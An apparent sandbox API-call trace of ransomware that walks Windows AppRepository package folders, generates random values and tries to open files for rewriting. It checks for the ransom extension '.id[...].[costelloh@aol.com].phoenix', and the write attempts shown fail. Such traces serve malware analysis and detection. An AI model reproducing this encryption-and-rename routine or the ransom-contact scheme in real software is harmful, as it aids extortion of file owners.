	[0261.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.995] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.995] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.996] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0261.996] CloseHandle (hObject=0x2e0) returned 1
	[0261.996] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.996] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.996] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2600) returned 1
	[0261.996] CloseHandle (hObject=0x2e0) returned 1
	[0261.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0261.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.997] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.997] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.998] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=16384) returned 1
	[0261.998] CloseHandle (hObject=0x2e0) returned 1
	[0261.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0261.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0261.998] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.998] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0261.999] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0261.999] CloseHandle (hObject=0x2e0) returned 1
	[0261.999] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0261.999] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.003] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2368) returned 1
	[0262.003] CloseHandle (hObject=0x2e0) returned 1
	[0262.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.003] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\cortanalistenuiapp_10.0.15063.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.004] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.004] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.005] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=24576) returned 1
	[0262.005] CloseHandle (hObject=0x2e0) returned 1
	[0262.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.005] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.006] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.006] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.007] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.007] CloseHandle (hObject=0x2e0) returned 1
	[0262.007] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.007] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0262.012] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2272) returned 1
	[0262.012] CloseHandle (hObject=0x240) returned 1
	[0262.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.012] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.012] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktoplearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.012] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.012] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0262.014] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0262.014] CloseHandle (hObject=0x240) returned 1
	[0262.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.014] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.014] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0262.015] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.015] CloseHandle (hObject=0x240) returned 1
	[0262.015] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.015] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.021] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2264) returned 1
	[0262.021] CloseHandle (hObject=0x2e0) returned 1
	[0262.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.021] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\desktopview_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.021] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.021] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.023] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=8192) returned 1
	[0262.023] CloseHandle (hObject=0x2e0) returned 1
	[0262.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1")) returned 0x26
	[0262.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0262.023] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG1" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0262.023] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.023] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\ActivationStore.dat.LOG2" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\activationstore.dat.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0262.024] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=0) returned 1
	[0262.024] CloseHandle (hObject=0x2e0) returned 1
	[0262.024] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0262.024] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0262.027] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=2672) returned 1
	[0262.027] CloseHandle (hObject=0x2f0) returned 1
	[0262.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep")) returned 0x20
	[0262.027] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\Packages\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\S-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\apprepository\\packages\\e2a4f912-2574-4a75-9bb0-0d023378592b_10.0.15063.332_neutral_neutral_cw5n1h2txyewy\\s-1-5-21-1051304884-625712362-2192934891-1000.pckgdep.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
